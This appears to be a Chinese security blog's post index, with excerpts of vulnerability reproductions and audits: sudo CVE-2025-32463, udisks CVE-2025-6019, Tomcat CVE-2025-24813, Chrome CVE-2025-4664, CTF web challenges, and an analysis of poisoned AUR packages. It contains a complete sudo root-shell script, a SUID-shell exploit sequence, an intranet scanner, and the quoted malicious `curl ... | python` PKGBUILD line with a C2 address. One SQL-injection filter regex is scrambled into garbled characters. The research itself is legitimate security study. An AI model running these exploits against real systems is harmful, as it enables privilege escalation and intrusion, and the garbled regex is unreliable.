Posts

文件上传md5碰撞

这次审计的代码存在这样一个功能点很明显的文件上传，但是上传后文件名重新编辑过了，跟踪到move 这存在文件上传，但因为前端功能已经被删除，所以这里是拿不到文件的具体位置的继续跟到buildSaveName 这里进来后会触发 $savename = date('Ymd') . DS . md5(microtime(true)); 这样就可以知道他文件上传的大致位置是/public/uploads/[年月日]/md5(microtime(true))，如此只需要猜测最后的md5 其中的microtime只精确到后四位小数，没有太夸张存在预测可能照此，就可以在上传的时候确定当前的时间，定位时间窗口计算出窗口内的所有md5变量，不过数量依旧很大，如果时间窗口定位前后5秒，则会有10000个请求，所以本地测试我稍微缩短了窗口

某直播系统审计

**直播系统审计 fofa：万能cookie 框架问题与业务逻辑共同造成的，在框架上cookie使用了aes加密+序列化的手法，导致只要把框架扯下来看看就能找到密码，使得cookie内容用户可控，又因为业务上他把cookie解密后直接插入sql查询导致了注入在审计的时候发现他的sql语句写的非常糙，全是随意的拼接，防御全靠htmlspecialchars和全局生效的这里就不往下跟了反正就是传入编码 html实体编码过后的内容传入这里，插入sql查询因为几乎所有的输入都被做了html实体编码，导致如果想利用sql注入就只能找数字形的注入，其实也有后面会提到万能cookie 与反序列化入口在前的代码其实能看到，在登入前他会去判断adminCookie是否存在，去验证他其中有关cookie解密的逻辑跟踪getCookie就能找到这里要提一下，cookie在get解密之后又经过了反序列化，如果有链子能打，但框架过于小众了审计也没发现目前没有能用的这里会使用内置可的密钥做解密，继续跟踪到Encrypt的decode 加密使用了AES-256-ECB对称加密 base64解码后丢到openssl传入方法和密钥解密至此就知道怎么解cookie了回到前面的代码只要$adminCookie['status'] === true就会视为已登入，跳转到到定向到admin_index，到index控制器可以看到他继承自Admin_PublicController 在这里能看到这样一行读取了明文cookie的账户密码做查询也就是直接插入了sql，那么我们就可以构造如下cookie来打一个sql注入万能密码数字型 sql注入来到roomModel 可以注意到这里是一个数字型注入，那么往前跟踪查看谁调用过他往前跟踪可以继续跟踪到RoomController 输入来自form读代码可知它继承自Admin_publicController 测试后对应路由是是/admin_room/index/loadData-1.html/?room_id=1这里虽然sqlmap能检测到注入的存在，但因为全局生效的safePro，依旧需要手动去注入时间关系我没去尝试 $ ) a ' ' ' ; r x s o g s q t s s l h _ ' ' e a = = r r > > ' r " " = = [ [ > a " r \ r a { y ( \ " s . \ ] [ \ { \ ; 1 \ \ } \ ( \ \ s / | ] . > b ] ) \ . + % * ( 0 \ ? 0 \ : ( b s [ o e ^ n l 0 [ e - a c 9 - t a z \ - A \ f - b A Z | - ] u F { p ] 3 d | , a $ 1 t ) 5 e | } \ % [ \ 0 \ b 0 \ | [ s i \ \ n \ \ s ' r e \ \ r \ \ t \ n ( " \ ? \ \ : \ ( . \ ] \ " f ] * = | ? \ b ( ? : e x p r e \ s s s ) i | ( n ) \ \ ( i n < t s o c \ r \ i b p ) t . [ + \ ? \ ( s ? \ : \ f r m ] b s e t \ \ ! b \ ) \ | [ [ c ^ d \ a \ t { a \ \ \ \ s [ ] | { \ 1 \ } b ( ( \ ? \ : s e | \ a \ l b | a l ( e ? r : t c | r p e r a o t m e p | t d | e m l s e g t b e x d ) r \ o \ p s | * t \ r \ u ( n | c u a r t l e \ | \ r ( e ( n ? a : m \ e \ | # d | e d s a c t ) a ( | ? j : a ( \ a \ s / c \ r \ i * p . t * ) ? " \ , \ * \ \ / ) | ( \ \ s ) | ( \ \ + ) ) + ( ? : t a b l e \ \ b | f r o m \ \ b | d a t a b a s e \ \ b ) | i n t o ( ? : ( \ \ / \ \ * . * ? \ \ * \ \ / ) | \ \ s | \ \ + ) + ( ? : d u m p | o u t ) f i l e \ \ b | \ \ b s l e e p \ \ ( [ \ \ s ] * [ \ \ d ] + [ \ \ s ] * \ \ ) | b e n c h m a r k \ \ ( ( [ ^ \ \ , ] * ) \ \ , ( [ ^ \ \ , ] * ) \ \ ) | ( ? : d e c l a r e | s e t | s e l e c t ) \ \ b . * @ | u n i o n \ \ b . * ( ? : s e l e c t | a l l ) \ \ b | ( ? : s e l e c t | u p d a t e | i n s e r t | c r e a t e | d e l e t e | d r o p | g r a n t | t r u n c a t e | r e n a m e | e x e c | d e s c | f r o m | t a b l e | d a t a b a s e | s e t | w h e r e ) \ \ b . * ( c h a r s e t | a s c i i | b i n | c h a r | u n c o m p r e s s | c o n c a t | c o n c a t _ w s | c o n v | e x p o r t _ s e t | h e x | i n s t r | l e f t | l o a d _ f i l e | l o c a t e | m i d | s u b | s u b s t r i n g | o c t | r e v e r s e | r i g h t | u n h e x ) \ \ ( | ( ? : m a s t e r \ \ . \ \ . s y s d a t a b a s e s | m s y s a c c e s s o b j e c t s | m s y s q u e r i e s | s y s m o d u l e s | m y s q l \ \ . d b | s y s \ \ . d a t a b a s e _ n a m e | i n f o r m a t i o n _ s c h e m a \ \ . | s y s o b j e c t s | s p _ m a k e w e b t a s k | x p _ c m d s h e l l | s p _ o a m e t h o d | s p _ a d d e x t e n d e d p r o c | s p _ o a c r e a t e | x p _ r e g r e a d | s y s \ \ . d b m s _ e x p o r t _ e x t e n s i o n ) " , 前台任意文件读取来到publicController ...

AUR软件投毒跟踪

因为我本人就是LinuxUser，之前使用的发行版是archlinux虽对这事相对第一时间发现，这次事件有数个软件包遭遇投毒我近期查询到的信息如下最早的投毒 minecraft-cracked ttf-all-ms-fonts ttf-ms-fonts-all vesktop-bin-patched 目前这些仓库都被删除，连历史都没有，很可惜，但依旧可以根据reddit1与BleepingComputer[4]的信息大致可以猜测攻击链如下 2025年7月16日，名叫danikpapas的用户想aur上传了恶意软件包，时间是UTC时间18:46 2025年7月16日至18日，一个长期休眠的账户激活，发帖[2]开始宣传恶意软件包 2025年7月18日，reddit上有人开始发出警报，各类沙箱分析后发现其中夹杂远控[5][6][2] 2025年7月18日 (约 18:00 UTC+2)，ArchLinux团队下场移出恶意软件包，而后发布安全通告向量攻击者通过修改patches指向了自己的仓库[7]目前已不可访问，在用户拉取脚本安装的时候会导致这个仓库内的东西作为补丁在构建过程中起效，而后会在/tmp下创建名为systemd-initd的可执行文件，c2为 : 130.162.225.47:8080，手法相当之业余，且不说操之过急直接在reddit[2]发帖宣传，木马没有做任何免杀，c2估计是直接租的vps….. graph TD; A[用户拉取恶意软件包] --> B[编译过程拉取patches]; B --> C[向tmp目录写入恶意软件]; C --> D[回连C2服务器]; 在微步上还能看到一个exe的马 LOL）第二次这次的两个恶意软件确实我确实将他们从git中拉下来了，其中一个名为google-chrome-stable与chrome[8]的软件包的PKGBUILD如下 google-chrome-stable.sh - aur.git - AUR Package Repositories google-chrome-stable.sh - aur.git - AUR Package Repositories #!/bin/bash XDG_CONFIG_HOME=${XDG_CONFIG_HOME:-~/.config} # Allow users to override command-line options if [[ -f $XDG_CONFIG_HOME/chrome-flags.conf ]]; then CHROME_USER_FLAGS="$(grep -v '^#' $XDG_CONFIG_HOME/chrome-flags.conf)" fi # Launch python -c "$(curl https://segs.lol/9wUb1Z)" exec /opt/google/chrome/google-chrome $CHROME_USER_FLAGS "$@" 他所伪装的google-chrome原仓库如下 curl所指向的https://segs.lol/是一个不常见的公开文件保存服务，微步上没有任何情报，我其实怀疑是攻击者所搭建的，目前文件已经删除网上没有找到公开信息，但可以推测路径为 ...

针对 CVE-2025-32463代码跟踪

既上次对这个罕见的sudo漏洞的复现利用已经过去了几天，陆陆续续各大发行版已经推送了修复补丁，各个安全从业者也复现了漏洞，但似乎除了stratascale并没有人尝试追踪漏洞代码及其成因，虽然有些难度但还是想尝试下 How CVE-2025-32463问题出在sudo的-R功能上简单来说这个漏洞的是利用了 Sudo 在处理 chroot 选项时的一个缺陷联合nss劫持，即使一个普通用户没有任何 Sudo 权限，他们也可以利用这个漏洞将权限提升到 root Way 从github clone下代码，在log中可以找到这次修复，show一份出来方便分析先看到sudoers.c diff --git a/plugins/sudoers/sudoers.c b/plugins/sudoers/sudoers.c index ad2fa2f61..1a8031740 100644 --- a/plugins/sudoers/sudoers.c +++ b/plugins/sudoers/sudoers.c @@ -1092,7 +1092,6 @@ init_vars(struct sudoers_context *ctx, char * const envp[]) int set_cmnd_path(struct sudoers_context *ctx, const char *runchroot) { - struct sudoers_pivot pivot_state = SUDOERS_PIVOT_INITIALIZER; const char *cmnd_in; char *cmnd_out = NULL; char *path = ctx->user.path; @@ -1111,13 +1110,7 @@ set_cmnd_path(struct sudoers_context *ctx, const char *runchroot) if (def_secure_path && !user_is_exempt(ctx)) path = def_secure_path; - /* Pivot root. */ - if (runchroot != NULL) { - if (!pivot_root(runchroot, &pivot_state)) - goto error; - } - - ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path); + ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path, runchroot); if (ret == FOUND) { char *slash = strrchr(cmnd_out, '/'); if (slash != NULL) { @@ -1134,14 +1127,8 @@ set_cmnd_path(struct sudoers_context *ctx, const char *runchroot) else ctx->user.cmnd = cmnd_out; - /* Restore root. */ - if (runchroot != NULL) - (void)unpivot_root(&pivot_state); - debug_return_int(ret); error: - if (runchroot != NULL) - (void)unpivot_root(&pivot_state); free(cmnd_out); debug_return_int(NOT_FOUND_ERROR); } 看的出来入口为 ...

L3HCTF部分web题复现

best-profile 先看代码，问题在这部分 @app.route("/ip_detail/<string:username>", methods=["GET"]) def route_ip_detail(username): res = requests.get(f"http://127.0.0.1/get_last_ip/{username}") if res.status_code != 200: return "Get last ip failed." last_ip = res.text try: ip = re.findall(r"\d+\.\d+\.\d+\.\d+", last_ip) country = geoip2_reader.country(ip) except (ValueError, TypeError): country = "Unknown" template = f""" <h1>IP Detail</h1> <div>{last_ip}</div> <p>Country:{country}</p> """ return render_template_string(template) 经典的ssti模板注入，在比赛的时候一直尝试甚至都怀疑到了是否能绕过string:username，走目录遍历，结果是nginx的缓存投毒，在做题的时候我甚至都没去注意这个文件 location ~ .*\.(js|css)?$ { proxy_ignore_headers Cache-Control Expires Vary Set-Cookie; proxy_pass http://127.0.0.1:5000; proxy_cache static; proxy_cache_valid 200 302 12h; } 特殊后缀proxy_cache static开启了缓存，因为用户注册时并没有限制特殊字符，则我们可以通过构建类似与test.js 的用户名来访问/get_last_ip/ 欺骗缓存，这样服务器通过 requests.get 访问即使没有cookie也会返回缓存数据构建用户 ...

CVE-2025-32463 and CVE-2025-32462 sudo提权漏洞

少见的sudo漏洞，一爆就爆俩 CVE-2025-32463 脚本如下 #!/bin/bash echo "[+] CVE-2025-32463 Sudo chroot 漏洞复现脚本" echo "[*] 正在创建临时工作目录..." STAGE=$(mktemp -d /tmp/sudo_exploit.XXXXXX) if [ ! -d "$STAGE" ]; then echo "[-] 错误: 无法创建临时目录。" exit 1 fi cd "${STAGE}" || exit 1 echo "[*] 工作目录已创建: ${STAGE}" echo "[*] 正在创建 C 语言 payload (woot1337.c)..." cat > woot1337.c << EOF #include <unistd.h> #include <stdlib.h> // __attribute__((constructor)) 确保 woot() 函数在库加载时自动执行 __attribute__((constructor)) void woot(void) { // 将真实用户ID和有效用户ID都设置为0 (root) setreuid(0, 0); // 将真实组ID和有效组ID都设置为0 (root) setregid(0, 0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF # 创建 chroot 环境和nsswitch.conf echo "[*] 正在设置 chroot 环境和恶意的 nsswitch.conf..." mkdir -p woot/etc # 核心 echo "passwd: /woot1337" > woot/etc/nsswitch.conf echo "[*] 正在将 payload 编译为共享库 (libnss_/woot1337.so.2)..." mkdir -p libnss_ gcc -shared -fPIC -o libnss_/woot1337.so.2 woot1337.c if [ ! -f "libnss_/woot1337.so.2" ]; then echo "[-] 错误: 编译失败。请确保已安装 gcc。" rm -rf "${STAGE}" exit 1 fi echo "[*] 编译成功！" echo "[+] root shell!!!!!" echo "woot!" sudo -R woot woot echo "[*] 正在清理临时文件..." rm -rf "${STAGE}" 这个漏洞简单来说就是sudo的chroot功能在没有验证的情况下以root的权限启动了一个chroot服务，然后去搜索了nsswitch.conf文件，而他又通过其中的恶意规则启动了一个恶意共享库，共享库通过root权限执行了一个bashshell，boom！ ...

CVE-2025-6018 and CVE-2025-6019 本地提权

CVE-2025-6018: 在 *SUSE 15 的 PAM 中从无特权用户到 allow_active 的本地权限提升 CVE-2025-6019: 从 allow_active 到 root 的本地权限提升，通过 udisks 利用 libblockdev 先来看6019的问题，根据Qualys安全公告不难知道问题出现在xfs文件系统临时挂载的操作上，没有正确使用nosuid，从而导致的问题出现本地复现 CVE-2025-6019 先构建一个xfs的镜像，在其中放入bash dd if=/dev/zero of=xfs.image bs=1M count=300 # XFS mkfs.xfs -f xfs.image sudo mkdir -p /mnt/malicious_image sudo mount -t xfs xfs.image /mnt/malicious_image # SUID Shell sudo cp /bin/bash /mnt/malicious_image/root-shell sudo chmod 4755 /mnt/malicious_image/root-shell sudo umount /mnt/malicious_image sudo rmdir /mnt/malicious_image echo "ok" payload echo "当前用户: $(whoami)" id # yes gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot killall -KILL gvfs-udisks2-volume-monitor &>/dev/null # loop 设备 udisksctl loop-setup --file ~/xfs.image # 启动后台进程 while true; do /tmp/blockdev*/root-shell -c 'sleep 5' && break; done &>/dev/null & # UDisks2 触发漏洞 gdbus call --system --dest org.freedesktop.UDisks2 \ --object-path /org/freedesktop/UDisks2/block_devices/loop0 \ --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' &>/dev/null # 等待 sleep 2 # 查找并执行 SUID Shell ROOT_SHELL_PATH=$(find /tmp -name "root-shell" -perm -4000 2>/dev/null | head -n 1) if [ -n "$ROOT_SHELL_PATH" ]; then echo "成功找到 Root Shell: $ROOT_SHELL_PATH" echo "正在提权..." ${ROOT_SHELL_PATH} -p else echo "错误: 未找到 SUID Shell，提权失败。" fi 理想情况下会获得如下效果 ...

CVE-2025-24813

简单翻阅资料可以做出如下总结：这个漏洞的成因是tomcat的部分put功能缺陷导致的文件上传，导致不安全反序列化的漏洞，进而实现远程命令执行的漏洞我对tomcat的了解不多，所以这次集中在复现上 docker pull tomcat:9.0.98-jdk8 在conf/web.xml中设置readonly为false 开启file文件会话存储将Commons Collections 下载到lib文件夹中 https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar 文件上传成功 PUT /poc/session HTTP/1.1 Host: localhost:8889 Content-Range: bytes 0-1000/1200 {{(paylaod...)}} RCE利用在yakit中构造一个payload 发送，触发复现成功奇安信攻防社区-全网首发！CVE-2025-24813 Tomcat 最新 RCE 分析复现 Apache Tomcat CVE-2025-24813: What You Need to Know | Rapid7 Blog github

xss、同源策略与内网探测

同源策略根据mdn文档，可以总结出同源策略的规则同协议 http，https，不同协议不视作同源同域名域名必须完全相同同端口端口必须完全相同同源策略的在浏览器中体现就是，对于限制一个源的文档或脚本如何与另一个源的资源进行交互，简单来说就是一个网站无法访问另一网站的内容同源豁免可以利用部分标签的同源豁免来完成跨域的访问例如 img link script iframe video 这些标签可以移动程度上获取不同源的资源内网探测 <!DOCTYPE html> <html> <head> <title>Fetch Scanner</title> </head> <body> <h1>Fetch-based Network Scanner</h1> <div id="results"></div> <script> const resultsDiv = document.getElementById('results'); function scan(onOpen, timeout = 3000) { // 遍历 1 到 254 for (let i = 1; i < 255; i++) { const ip = `192.168.1.${i}`; const controller = new AbortController(); const timeoutId = setTimeout(() => controller.abort(), timeout); fetch(`http://${ip}:8000`, { mode: 'no-cors', cache: 'no-store', // 使用 controller.signal signal: controller.signal }) .then(() => { // 请求成功= onOpen(ip); }) .catch(() => { // 捕获所有错误 }) .finally(() => { // 清除定时器，防止在请求成功后还执行 abort clearTimeout(timeoutId); }); } } // --- 使用示例 --- console.log("扫描开始..."); scan(ip => { const resultText = `[+] 发现开放主机: ${ip}<br>`; console.log(resultText.replace('<br>', '')); resultsDiv.innerHTML += resultText; }); </script> </body> </html> 这是一个简单示例，关键在于使用mode: 'no-cors’ 来实现绕过同源策略，但他还有一个问题就是，其无法在https的网站上使用会报告Mixed Content: The page at '<URL>' was loaded over HTTPS, but requested an insecure resource '<URL>'. This request has been blocked; the content must be served over HTTPS. 的错误，如果暂时关闭安全链接，则效果如下 ...

google浏览器CVE-2025-4664复现

挺有意思的一个漏洞，用到了link头功能，简单来说chromium在对link头的处理上存在缺陷，导致了Referer可能携带敏感信息 payload： server const express = require('express'); const fs = require('fs'); const path = require('path'); const app = express(); const port = 3001; const logoPath = path.join(__dirname, 'logo.png'); if (!fs.existsSync(logoPath)) { const pngBase64 = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR4nGNgYAAAAAMAAWgmWQ0AAAAASUVORK5CYII='; fs.writeFileSync(logoPath, Buffer.from(pngBase64, 'base64')); console.log('自动生成了 logo.png'); } app.get('/image', (req, res) => { res.setHeader( 'Link', '<http://127.0.0.1:3001/log>;rel="preload";as="image";referrerpolicy="unsafe-url"' ); res.sendFile(logoPath, err => { if (err) { res.status(500).send('图片加载失败'); } }); }); app.get('/log', (req, res) => { const referer = req.headers['referer']; console.log('收到 /log 请求，Referer:', referer); res.send('Hi!'); }); app.listen(port, '0.0.0.0', () => { console.log(`恶意服务器已启动: http://127.0.0.1:${port}`); }); client ...